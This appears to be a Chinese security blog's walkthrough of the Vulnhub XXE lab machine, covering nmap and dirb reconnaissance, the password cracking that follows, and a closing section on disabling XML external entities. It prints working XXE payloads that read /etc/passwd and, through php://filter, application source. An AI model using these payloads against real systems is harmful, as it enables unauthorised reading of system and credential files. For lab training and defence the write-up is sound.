User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 漏洞复现
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   WEB安全漏洞学习   ›   正文
WEB安全漏洞学习

Vulnhub XXE靶机复现

2020-03-04 15:50:00
152  0 0

靶机下载链接:https://download.vulnhub.com/xxe/XXE.zip

1.检查网络模式配置是否正确,我们这里的VMnet8 是NAT模式啊(打开虚拟网络编辑器:虚拟机的左上角 编辑 –->网络虚拟编辑器)接下来切换到kali linux即可开启愉快的练习了。

2.信息收集

首先扫描C段存活主机,找到目标机器,使用命令nmap 192.168.194.0/24

Vulnhub XXE靶机复现

红框区域即为目标主机IP,同时发现只开放了80端口,接着使用nmap -A 192.168.194.188探查详细信息

Vulnhub XXE靶机复现

再使用dirb http://192.168.194.188对目录进行爆破,或者使用dirsearch等其他目录扫描工具,结果如下图所示。

Vulnhub XXE靶机复现

综上:我们得知该网站存在80端口,robots.txt和xxe目录。

3.渗透测试:

(1)访问http://192.168.194.188/robots.txt

Vulnhub XXE靶机复现

(2)访问http://192.168.194.188/xxe,是一个登陆页面

Vulnhub XXE靶机复现

(3)输入内容抓包测试,可以看到用户名和密码是通过xml传递给后端的。

Vulnhub XXE靶机复现

(4)尝试测试是否存在xxe漏洞

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>

得到内容回显,再次尝试使用php://filter/read=convert.base64-encode/resource=admin.php读取/xxe/目录下的admin.php的源码

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>
Vulnhub XXE靶机复现

将得到的base64编码的admin.php的源码进行解密

Vulnhub XXE靶机复现

可以得到登录的账号和密码,将密码的md5指拿去在线网站进行解密得到:admin@123

访问:http://192.168.194.188/xxe/admin.php,输入得到的账号密码

Vulnhub XXE靶机复现

点击Flag,跳转到http://192.168.194.188/xxe/flagmeout.php,查看源代码得到一串base32字母,解密后再进行一次base64解密,得到

Vulnhub XXE靶机复现

这里注意在源码中给出了输入正确用户名和密码的跳转链接,同时完全可以在不输入正确的用户名和密码的情况下直接访问。这种情况在实际渗透测试的过程中要注意,说不定会有惊喜,可以省不少麻烦。

接下来回到刚刚存在xxe漏洞的页面,继续抓包读取/etc/.flag.php文件

Vulnhub XXE靶机复现

解码后得到一串疑似php的代码,但是变量名做了大幅度修改

Vulnhub XXE靶机复现

最后将该代码拿到php代码美化网站进行格式化,如:http://www.jsons.cn/phpformat/,再放到phpstudy上保存为flag.php。访问从报错信息中得到flag。

Vulnhub XXE靶机复现

防御措施:

  xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都设置为false,从而避免基于XXE漏洞的攻击。 

  1.禁用xml外部实体

PHP:
libxml_disable_entity_loader(true);                          
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  2.过滤xml外部实体的关键字:

  过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • 记一次Docker问题排错
  • 免杀钓鱼XLSM
  • 彻底理解Kerberos认证
  • 免杀QuasarRAT
  • 密码保护:python反序列化免杀上线CS
近期评论
    文章归档
    • 2021年4月
    • 2021年3月
    • 2021年2月
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 漏洞复现
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    170 文章 0 评论 50914 浏览
    测试
    测试